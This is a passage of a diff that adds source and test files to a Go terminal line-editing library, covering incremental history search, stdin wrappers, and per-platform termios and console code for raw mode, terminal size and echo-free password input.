||||
}
|
||||
for _, r := range runes {
|
||||
if w := WidthAll(r.r); w != r.length {
|
||||
t.Fatal("result not expect", r.r, r.length, w)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type tagg struct {
|
||||
r [][]rune
|
||||
e [][]rune
|
||||
length int
|
||||
}
|
||||
|
||||
func TestAggRunes(t *testing.T) {
|
||||
runes := []tagg{
|
||||
{
|
||||
[][]rune{[]rune("ab"), []rune("a"), []rune("abc")},
|
||||
[][]rune{[]rune("b"), []rune(""), []rune("bc")},
|
||||
1,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")},
|
||||
[][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")},
|
||||
1,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
0,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")},
|
||||
[][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
2,
|
||||
},
|
||||
}
|
||||
for _, r := range runes {
|
||||
same, off := Aggregate(r.r)
|
||||
if off != r.length {
|
||||
t.Fatal("result not expect", off)
|
||||
}
|
||||
if len(same) != off {
|
||||
t.Fatal("result not expect", same)
|
||||
}
|
||||
if !reflect.DeepEqual(r.r, r.e) {
|
||||
t.Fatal("result not expect")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type twidth struct {
|
||||
r []rune
|
||||
length int
|
||||
}
|
||||
|
||||
func TestRuneWidth(t *testing.T) {
|
||||
rs := []twidth{
|
||||
{[]rune("☭"), 1},
|
||||
{[]rune("a"), 1},
|
||||
{[]rune("你"), 2},
|
||||
{runes.ColorFilter([]rune("☭\033[13;1m你")), 3},
|
||||
}
|
||||
for _, r := range rs {
|
||||
if w := runes.WidthAll(r.r); w != r.length {
|
||||
t.Fatal("result not expect", r.r, r.length, w)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type tagg struct {
|
||||
r [][]rune
|
||||
e [][]rune
|
||||
length int
|
||||
}
|
||||
|
||||
func TestAggRunes(t *testing.T) {
|
||||
rs := []tagg{
|
||||
{
|
||||
[][]rune{[]rune("ab"), []rune("a"), []rune("abc")},
|
||||
[][]rune{[]rune("b"), []rune(""), []rune("bc")},
|
||||
1,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")},
|
||||
[][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")},
|
||||
1,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
0,
|
||||
},
|
||||
{
|
||||
[][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")},
|
||||
[][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")},
|
||||
2,
|
||||
},
|
||||
}
|
||||
for _, r := range rs {
|
||||
same, off := runes.Aggregate(r.r)
|
||||
if off != r.length {
|
||||
t.Fatal("result not expect", off)
|
||||
}
|
||||
if len(same) != off {
|
||||
t.Fatal("result not expect", same)
|
||||
}
|
||||
if !reflect.DeepEqual(r.r, r.e) {
|
||||
t.Fatal("result not expect")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"container/list"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
const (
|
||||
S_STATE_FOUND = iota
|
||||
S_STATE_FAILING
|
||||
)
|
||||
|
||||
const (
|
||||
S_DIR_BCK = iota
|
||||
S_DIR_FWD
|
||||
)
|
||||
|
||||
type opSearch struct {
|
||||
inMode bool
|
||||
state int
|
||||
dir int
|
||||
source *list.Element
|
||||
w io.Writer
|
||||
buf *RuneBuffer
|
||||
data []rune
|
||||
history *opHistory
|
||||
cfg *Config
|
||||
markStart int
|
||||
markEnd int
|
||||
width int
|
||||
}
|
||||
|
||||
func newOpSearch(w io.Writer, buf *RuneBuffer, history *opHistory, cfg *Config, width int) *opSearch {
|
||||
return &opSearch{
|
||||
w: w,
|
||||
buf: buf,
|
||||
cfg: cfg,
|
||||
history: history,
|
||||
width: width,
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opSearch) OnWidthChange(newWidth int) {
|
||||
o.width = newWidth
|
||||
}
|
||||
|
||||
func (o *opSearch) IsSearchMode() bool {
|
||||
return o.inMode
|
||||
}
|
||||
|
||||
func (o *opSearch) SearchBackspace() {
|
||||
if len(o.data) > 0 {
|
||||
o.data = o.data[:len(o.data)-1]
|
||||
o.search(true)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opSearch) findHistoryBy(isNewSearch bool) (int, *list.Element) {
|
||||
if o.dir == S_DIR_BCK {
|
||||
return o.history.FindBck(isNewSearch, o.data, o.buf.idx)
|
||||
}
|
||||
return o.history.FindFwd(isNewSearch, o.data, o.buf.idx)
|
||||
}
|
||||
|
||||
func (o *opSearch) search(isChange bool) bool {
|
||||
if len(o.data) == 0 {
|
||||
o.state = S_STATE_FOUND
|
||||
o.SearchRefresh(-1)
|
||||
return true
|
||||
}
|
||||
idx, elem := o.findHistoryBy(isChange)
|
||||
if elem == nil {
|
||||
o.SearchRefresh(-2)
|
||||
return false
|
||||
}
|
||||
o.history.current = elem
|
||||
|
||||
item := o.history.showItem(o.history.current.Value)
|
||||
start, end := 0, 0
|
||||
if o.dir == S_DIR_BCK {
|
||||
start, end = idx, idx+len(o.data)
|
||||
} else {
|
||||
start, end = idx, idx+len(o.data)
|
||||
idx += len(o.data)
|
||||
}
|
||||
o.buf.SetWithIdx(idx, item)
|
||||
o.markStart, o.markEnd = start, end
|
||||
o.SearchRefresh(idx)
|
||||
return true
|
||||
}
|
||||
|
||||
func (o *opSearch) SearchChar(r rune) {
|
||||
o.data = append(o.data, r)
|
||||
o.search(true)
|
||||
}
|
||||
|
||||
func (o *opSearch) SearchMode(dir int) bool {
|
||||
if o.width == 0 {
|
||||
return false
|
||||
}
|
||||
alreadyInMode := o.inMode
|
||||
o.inMode = true
|
||||
o.dir = dir
|
||||
o.source = o.history.current
|
||||
if alreadyInMode {
|
||||
o.search(false)
|
||||
} else {
|
||||
o.SearchRefresh(-1)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (o *opSearch) ExitSearchMode(revert bool) {
|
||||
if revert {
|
||||
o.history.current = o.source
|
||||
o.buf.Set(o.history.showItem(o.history.current.Value))
|
||||
}
|
||||
o.markStart, o.markEnd = 0, 0
|
||||
o.state = S_STATE_FOUND
|
||||
o.inMode = false
|
||||
o.source = nil
|
||||
o.data = nil
|
||||
}
|
||||
|
||||
func (o *opSearch) SearchRefresh(x int) {
|
||||
if x == -2 {
|
||||
o.state = S_STATE_FAILING
|
||||
} else if x >= 0 {
|
||||
o.state = S_STATE_FOUND
|
||||
}
|
||||
if x < 0 {
|
||||
x = o.buf.idx
|
||||
}
|
||||
x = o.buf.CurrentWidth(x)
|
||||
x += o.buf.PromptLen()
|
||||
x = x % o.width
|
||||
|
||||
if o.markStart > 0 {
|
||||
o.buf.SetStyle(o.markStart, o.markEnd, "4")
|
||||
}
|
||||
|
||||
lineCnt := o.buf.CursorLineCount()
|
||||
buf := bytes.NewBuffer(nil)
|
||||
buf.Write(bytes.Repeat([]byte("\n"), lineCnt))
|
||||
buf.WriteString("\033[J")
|
||||
if o.state == S_STATE_FAILING {
|
||||
buf.WriteString("failing ")
|
||||
}
|
||||
if o.dir == S_DIR_BCK {
|
||||
buf.WriteString("bck")
|
||||
} else if o.dir == S_DIR_FWD {
|
||||
buf.WriteString("fwd")
|
||||
}
|
||||
buf.WriteString("-i-search: ")
|
||||
buf.WriteString(string(o.data)) // keyword
|
||||
buf.WriteString("\033[4m \033[0m") // _
|
||||
fmt.Fprintf(buf, "\r\033[%dA", lineCnt) // move prev
|
||||
if x > 0 {
|
||||
fmt.Fprintf(buf, "\033[%dC", x) // move forward
|
||||
}
|
||||
o.w.Write(buf.Bytes())
|
||||
}
|
||||
+197
@@ -0,0 +1,197 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
var (
|
||||
Stdin io.ReadCloser = os.Stdin
|
||||
Stdout io.WriteCloser = os.Stdout
|
||||
Stderr io.WriteCloser = os.Stderr
|
||||
)
|
||||
|
||||
var (
|
||||
std *Instance
|
||||
stdOnce sync.Once
|
||||
)
|
||||
|
||||
// global instance will not submit history automatic
|
||||
func getInstance() *Instance {
|
||||
stdOnce.Do(func() {
|
||||
std, _ = NewEx(&Config{
|
||||
DisableAutoSaveHistory: true,
|
||||
})
|
||||
})
|
||||
return std
|
||||
}
|
||||
|
||||
// let readline load history from filepath
|
||||
// and try to persist history into disk
|
||||
// set fp to "" to prevent readline persisting history to disk
|
||||
// so the `AddHistory` will return nil error forever.
|
||||
func SetHistoryPath(fp string) {
|
||||
ins := getInstance()
|
||||
cfg := ins.Config.Clone()
|
||||
cfg.HistoryFile = fp
|
||||
ins.SetConfig(cfg)
|
||||
}
|
||||
|
||||
// set auto completer to global instance
|
||||
func SetAutoComplete(completer AutoCompleter) {
|
||||
ins := getInstance()
|
||||
cfg := ins.Config.Clone()
|
||||
cfg.AutoComplete = completer
|
||||
ins.SetConfig(cfg)
|
||||
}
|
||||
|
||||
// add history to global instance manually
|
||||
// raise error only if `SetHistoryPath` is set with a non-empty path
|
||||
func AddHistory(content string) error {
|
||||
ins := getInstance()
|
||||
return ins.SaveHistory(content)
|
||||
}
|
||||
|
||||
func Password(prompt string) ([]byte, error) {
|
||||
ins := getInstance()
|
||||
return ins.ReadPassword(prompt)
|
||||
}
|
||||
|
||||
// readline with global configs
|
||||
func Line(prompt string) (string, error) {
|
||||
ins := getInstance()
|
||||
ins.SetPrompt(prompt)
|
||||
return ins.Readline()
|
||||
}
|
||||
|
||||
type CancelableStdin struct {
|
||||
r io.Reader
|
||||
mutex sync.Mutex
|
||||
stop chan struct{}
|
||||
closed int32
|
||||
notify chan struct{}
|
||||
data []byte
|
||||
read int
|
||||
err error
|
||||
}
|
||||
|
||||
func NewCancelableStdin(r io.Reader) *CancelableStdin {
|
||||
c := &CancelableStdin{
|
||||
r: r,
|
||||
notify: make(chan struct{}),
|
||||
stop: make(chan struct{}),
|
||||
}
|
||||
go c.ioloop()
|
||||
return c
|
||||
}
|
||||
|
||||
func (c *CancelableStdin) ioloop() {
|
||||
loop:
|
||||
for {
|
||||
select {
|
||||
case <-c.notify:
|
||||
c.read, c.err = c.r.Read(c.data)
|
||||
select {
|
||||
case c.notify <- struct{}{}:
|
||||
case <-c.stop:
|
||||
break loop
|
||||
}
|
||||
case <-c.stop:
|
||||
break loop
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *CancelableStdin) Read(b []byte) (n int, err error) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
if atomic.LoadInt32(&c.closed) == 1 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
|
||||
c.data = b
|
||||
select {
|
||||
case c.notify <- struct{}{}:
|
||||
case <-c.stop:
|
||||
return 0, io.EOF
|
||||
}
|
||||
select {
|
||||
case <-c.notify:
|
||||
return c.read, c.err
|
||||
case <-c.stop:
|
||||
return 0, io.EOF
|
||||
}
|
||||
}
|
||||
|
||||
func (c *CancelableStdin) Close() error {
|
||||
if atomic.CompareAndSwapInt32(&c.closed, 0, 1) {
|
||||
close(c.stop)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FillableStdin is a stdin reader which can prepend some data before
|
||||
// reading into the real stdin
|
||||
type FillableStdin struct {
|
||||
sync.Mutex
|
||||
stdin io.Reader
|
||||
stdinBuffer io.ReadCloser
|
||||
buf []byte
|
||||
bufErr error
|
||||
}
|
||||
|
||||
// NewFillableStdin gives you FillableStdin
|
||||
func NewFillableStdin(stdin io.Reader) (io.ReadCloser, io.Writer) {
|
||||
r, w := io.Pipe()
|
||||
s := &FillableStdin{
|
||||
stdinBuffer: r,
|
||||
stdin: stdin,
|
||||
}
|
||||
s.ioloop()
|
||||
return s, w
|
||||
}
|
||||
|
||||
func (s *FillableStdin) ioloop() {
|
||||
go func() {
|
||||
for {
|
||||
bufR := make([]byte, 100)
|
||||
var n int
|
||||
n, s.bufErr = s.stdinBuffer.Read(bufR)
|
||||
if s.bufErr != nil {
|
||||
if s.bufErr == io.ErrClosedPipe {
|
||||
break
|
||||
}
|
||||
}
|
||||
s.Lock()
|
||||
s.buf = append(s.buf, bufR[:n]...)
|
||||
s.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Read will read from the local buffer and if no data, read from stdin
|
||||
func (s *FillableStdin) Read(p []byte) (n int, err error) {
|
||||
s.Lock()
|
||||
i := len(s.buf)
|
||||
if len(p) < i {
|
||||
i = len(p)
|
||||
}
|
||||
if i > 0 {
|
||||
n := copy(p, s.buf)
|
||||
s.buf = s.buf[:0]
|
||||
cerr := s.bufErr
|
||||
s.bufErr = nil
|
||||
s.Unlock()
|
||||
return n, cerr
|
||||
}
|
||||
s.Unlock()
|
||||
n, err = s.stdin.Read(p)
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (s *FillableStdin) Close() error {
|
||||
s.stdinBuffer.Close()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
// +build windows
|
||||
|
||||
package readline
|
||||
|
||||
func init() {
|
||||
Stdin = NewRawReader()
|
||||
Stdout = NewANSIWriter(Stdout)
|
||||
Stderr = NewANSIWriter(Stderr)
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd solaris
|
||||
|
||||
// Package terminal provides support functions for dealing with terminals, as
|
||||
// commonly found on UNIX systems.
|
||||
//
|
||||
// Putting a terminal into raw mode is the most common requirement:
|
||||
//
|
||||
// oldState, err := terminal.MakeRaw(0)
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// defer terminal.Restore(0, oldState)
|
||||
package readline
|
||||
|
||||
import (
|
||||
"io"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// State contains the state of a terminal.
|
||||
type State struct {
|
||||
termios Termios
|
||||
}
|
||||
|
||||
// IsTerminal returns true if the given file descriptor is a terminal.
|
||||
func IsTerminal(fd int) bool {
|
||||
_, err := getTermios(fd)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// MakeRaw put the terminal connected to the given file descriptor into raw
|
||||
// mode and returns the previous state of the terminal so that it can be
|
||||
// restored.
|
||||
func MakeRaw(fd int) (*State, error) {
|
||||
var oldState State
|
||||
|
||||
if termios, err := getTermios(fd); err != nil {
|
||||
return nil, err
|
||||
} else {
|
||||
oldState.termios = *termios
|
||||
}
|
||||
|
||||
newState := oldState.termios
|
||||
// This attempts to replicate the behaviour documented for cfmakeraw in
|
||||
// the termios(3) manpage.
|
||||
newState.Iflag &^= syscall.IGNBRK | syscall.BRKINT | syscall.PARMRK | syscall.ISTRIP | syscall.INLCR | syscall.IGNCR | syscall.ICRNL | syscall.IXON
|
||||
// newState.Oflag &^= syscall.OPOST
|
||||
newState.Lflag &^= syscall.ECHO | syscall.ECHONL | syscall.ICANON | syscall.ISIG | syscall.IEXTEN
|
||||
newState.Cflag &^= syscall.CSIZE | syscall.PARENB
|
||||
newState.Cflag |= syscall.CS8
|
||||
|
||||
newState.Cc[syscall.VMIN] = 1
|
||||
newState.Cc[syscall.VTIME] = 0
|
||||
|
||||
return &oldState, setTermios(fd, &newState)
|
||||
}
|
||||
|
||||
// GetState returns the current state of a terminal which may be useful to
|
||||
// restore the terminal after a signal.
|
||||
func GetState(fd int) (*State, error) {
|
||||
termios, err := getTermios(fd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &State{termios: *termios}, nil
|
||||
}
|
||||
|
||||
// Restore restores the terminal connected to the given file descriptor to a
|
||||
// previous state.
|
||||
func restoreTerm(fd int, state *State) error {
|
||||
return setTermios(fd, &state.termios)
|
||||
}
|
||||
|
||||
// ReadPassword reads a line of input from a terminal without local echo. This
|
||||
// is commonly used for inputting passwords and other sensitive data. The slice
|
||||
// returned does not include the \n.
|
||||
func ReadPassword(fd int) ([]byte, error) {
|
||||
oldState, err := getTermios(fd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
newState := oldState
|
||||
newState.Lflag &^= syscall.ECHO
|
||||
newState.Lflag |= syscall.ICANON | syscall.ISIG
|
||||
newState.Iflag |= syscall.ICRNL
|
||||
if err := setTermios(fd, newState); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer func() {
|
||||
setTermios(fd, oldState)
|
||||
}()
|
||||
|
||||
var buf [16]byte
|
||||
var ret []byte
|
||||
for {
|
||||
n, err := syscall.Read(fd, buf[:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
if len(ret) == 0 {
|
||||
return nil, io.EOF
|
||||
}
|
||||
break
|
||||
}
|
||||
if buf[n-1] == '\n' {
|
||||
n--
|
||||
}
|
||||
ret = append(ret, buf[:n]...)
|
||||
if n < len(buf) {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return ret, nil
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build darwin dragonfly freebsd netbsd openbsd
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func getTermios(fd int) (*Termios, error) {
|
||||
termios := new(Termios)
|
||||
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCGETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
|
||||
if err != 0 {
|
||||
return nil, err
|
||||
}
|
||||
return termios, nil
|
||||
}
|
||||
|
||||
func setTermios(fd int, termios *Termios) error {
|
||||
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCSETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
|
||||
if err != 0 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// These constants are declared here, rather than importing
|
||||
// them from the syscall package as some syscall packages, even
|
||||
// on linux, for example gccgo, do not declare them.
|
||||
const ioctlReadTermios = 0x5401 // syscall.TCGETS
|
||||
const ioctlWriteTermios = 0x5402 // syscall.TCSETS
|
||||
|
||||
func getTermios(fd int) (*Termios, error) {
|
||||
termios := new(Termios)
|
||||
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlReadTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
|
||||
if err != 0 {
|
||||
return nil, err
|
||||
}
|
||||
return termios, nil
|
||||
}
|
||||
|
||||
func setTermios(fd int, termios *Termios) error {
|
||||
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlWriteTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
|
||||
if err != 0 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build aix os400 solaris
|
||||
|
||||
package readline
|
||||
|
||||
import "golang.org/x/sys/unix"
|
||||
|
||||
// GetSize returns the dimensions of the given terminal.
|
||||
func GetSize(fd int) (int, int, error) {
|
||||
ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ)
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
return int(ws.Col), int(ws.Row), nil
|
||||
}
|
||||
|
||||
type Termios unix.Termios
|
||||
|
||||
func getTermios(fd int) (*Termios, error) {
|
||||
termios, err := unix.IoctlGetTermios(fd, unix.TCGETS)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return (*Termios)(termios), nil
|
||||
}
|
||||
|
||||
func setTermios(fd int, termios *Termios) error {
|
||||
return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios))
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build solaris
|
||||
|
||||
package readline
|
||||
|
||||
import "golang.org/x/sys/unix"
|
||||
|
||||
// GetSize returns the dimensions of the given terminal.
|
||||
func GetSize(fd int) (int, int, error) {
|
||||
ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ)
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
return int(ws.Col), int(ws.Row), nil
|
||||
}
|
||||
|
||||
type Termios unix.Termios
|
||||
|
||||
func getTermios(fd int) (*Termios, error) {
|
||||
termios, err := unix.IoctlGetTermios(fd, unix.TCGETS)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return (*Termios)(termios), nil
|
||||
}
|
||||
|
||||
func setTermios(fd int, termios *Termios) error {
|
||||
return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios))
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type Termios syscall.Termios
|
||||
|
||||
// GetSize returns the dimensions of the given terminal.
|
||||
func GetSize(fd int) (int, int, error) {
|
||||
var dimensions [4]uint16
|
||||
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), uintptr(syscall.TIOCGWINSZ), uintptr(unsafe.Pointer(&dimensions)), 0, 0, 0)
|
||||
if err != 0 {
|
||||
return 0, 0, err
|
||||
}
|
||||
return int(dimensions[1]), int(dimensions[0]), nil
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build windows
|
||||
|
||||
// Package terminal provides support functions for dealing with terminals, as
|
||||
// commonly found on UNIX systems.
|
||||
//
|
||||
// Putting a terminal into raw mode is the most common requirement:
|
||||
//
|
||||
// oldState, err := terminal.MakeRaw(0)
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// defer terminal.Restore(0, oldState)
|
||||
package readline
|
||||
|
||||
import (
|
||||
"io"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
enableLineInput = 2
|
||||
enableEchoInput = 4
|
||||
enableProcessedInput = 1
|
||||
enableWindowInput = 8
|
||||
enableMouseInput = 16
|
||||
enableInsertMode = 32
|
||||
enableQuickEditMode = 64
|
||||
enableExtendedFlags = 128
|
||||
enableAutoPosition = 256
|
||||
enableProcessedOutput = 1
|
||||
enableWrapAtEolOutput = 2
|
||||
)
|
||||
|
||||
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
|
||||
var (
|
||||
procGetConsoleMode = kernel32.NewProc("GetConsoleMode")
|
||||
procSetConsoleMode = kernel32.NewProc("SetConsoleMode")
|
||||
procGetConsoleScreenBufferInfo = kernel32.NewProc("GetConsoleScreenBufferInfo")
|
||||
)
|
||||
|
||||
type (
|
||||
coord struct {
|
||||
x short
|
||||
y short
|
||||
}
|
||||
smallRect struct {
|
||||
left short
|
||||
top short
|
||||
right short
|
||||
bottom short
|
||||
}
|
||||
consoleScreenBufferInfo struct {
|
||||
size coord
|
||||
cursorPosition coord
|
||||
attributes word
|
||||
window smallRect
|
||||
maximumWindowSize coord
|
||||
}
|
||||
)
|
||||
|
||||
type State struct {
|
||||
mode uint32
|
||||
}
|
||||
|
||||
// IsTerminal returns true if the given file descriptor is a terminal.
|
||||
func IsTerminal(fd int) bool {
|
||||
var st uint32
|
||||
r, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
|
||||
return r != 0 && e == 0
|
||||
}
|
||||
|
||||
// MakeRaw put the terminal connected to the given file descriptor into raw
|
||||
// mode and returns the previous state of the terminal so that it can be
|
||||
// restored.
|
||||
func MakeRaw(fd int) (*State, error) {
|
||||
var st uint32
|
||||
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
|
||||
if e != 0 {
|
||||
return nil, error(e)
|
||||
}
|
||||
raw := st &^ (enableEchoInput | enableProcessedInput | enableLineInput | enableProcessedOutput)
|
||||
_, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(raw), 0)
|
||||
if e != 0 {
|
||||
return nil, error(e)
|
||||
}
|
||||
return &State{st}, nil
|
||||
}
|
||||
|
||||
// GetState returns the current state of a terminal which may be useful to
|
||||
// restore the terminal after a signal.
|
||||
func GetState(fd int) (*State, error) {
|
||||
var st uint32
|
||||
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
|
||||
if e != 0 {
|
||||
return nil, error(e)
|
||||
}
|
||||
return &State{st}, nil
|
||||
}
|
||||
|
||||
// Restore restores the terminal connected to the given file descriptor to a
|
||||
// previous state.
|
||||
func restoreTerm(fd int, state *State) error {
|
||||
_, _, err := syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(state.mode), 0)
|
||||
return err
|
||||
}
|
||||
|
||||
// GetSize returns the dimensions of the given terminal.
|
||||
func GetSize(fd int) (width, height int, err error) {
|
||||
var info consoleScreenBufferInfo
|
||||
_, _, e := syscall.Syscall(procGetConsoleScreenBufferInfo.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&info)), 0)
|
||||
if e != 0 {
|
||||
return 0, 0, error(e)
|
||||
}
|
||||
return int(info.size.x), int(info.size.y), nil
|
||||
}
|
||||
|
||||
// ReadPassword reads a line of input from a terminal without local echo. This
|
||||
// is commonly used for inputting passwords and other sensitive data. The slice
|
||||
// returned does not include the \n.
|
||||
func ReadPassword(fd int) ([]byte, error) {
|
||||
var st uint32
|
||||
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
|
||||
if e != 0 {
|
||||
return nil, error(e)
|
||||
}
|
||||
old := st
|
||||
|
||||
st &^= (enableEchoInput)
|
||||
st |= (enableProcessedInput | enableLineInput | enableProcessedOutput)
|
||||
_, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(st), 0)
|
||||
if e != 0 {
|
||||
return nil, error(e)
|
||||
}
|
||||
|
||||
defer func() {
|
||||
syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(old), 0)
|
||||
}()
|
||||
|
||||
var buf [16]byte
|
||||
var ret []byte
|
||||
for {
|
||||
n, err := syscall.Read(syscall.Handle(fd), buf[:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
if len(ret) == 0 {
|
||||
return nil, io.EOF
|
||||
}
|
||||
break
|
||||
}
|
||||
if buf[n-1] == '\n' {
|
||||
n--
|
||||
}
|
||||
if n > 0 && buf[n-1] == '\r' {
|
||||
n--
|
||||
}
|
||||
ret = append(ret, buf[:n]...)
|
||||
if n < len(buf) {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return ret, nil
|
||||
}
|
||||
@@ -0,0 +1,254 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
type Terminal struct {
|
||||
m sync.Mutex
|
||||
cfg *Config
|
||||
outchan chan rune
|
||||
closed int32
|
||||
stopChan chan struct{}
|
||||
kickChan chan struct{}
|
||||
wg sync.WaitGroup
|
||||
isReading int32
|
||||
sleeping int32
|
||||
|
||||
sizeChan chan string
|
||||
}
|
||||
|
||||
func NewTerminal(cfg *Config) (*Terminal, error) {
|
||||
if err := cfg.Init(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t := &Terminal{
|
||||
cfg: cfg,
|
||||
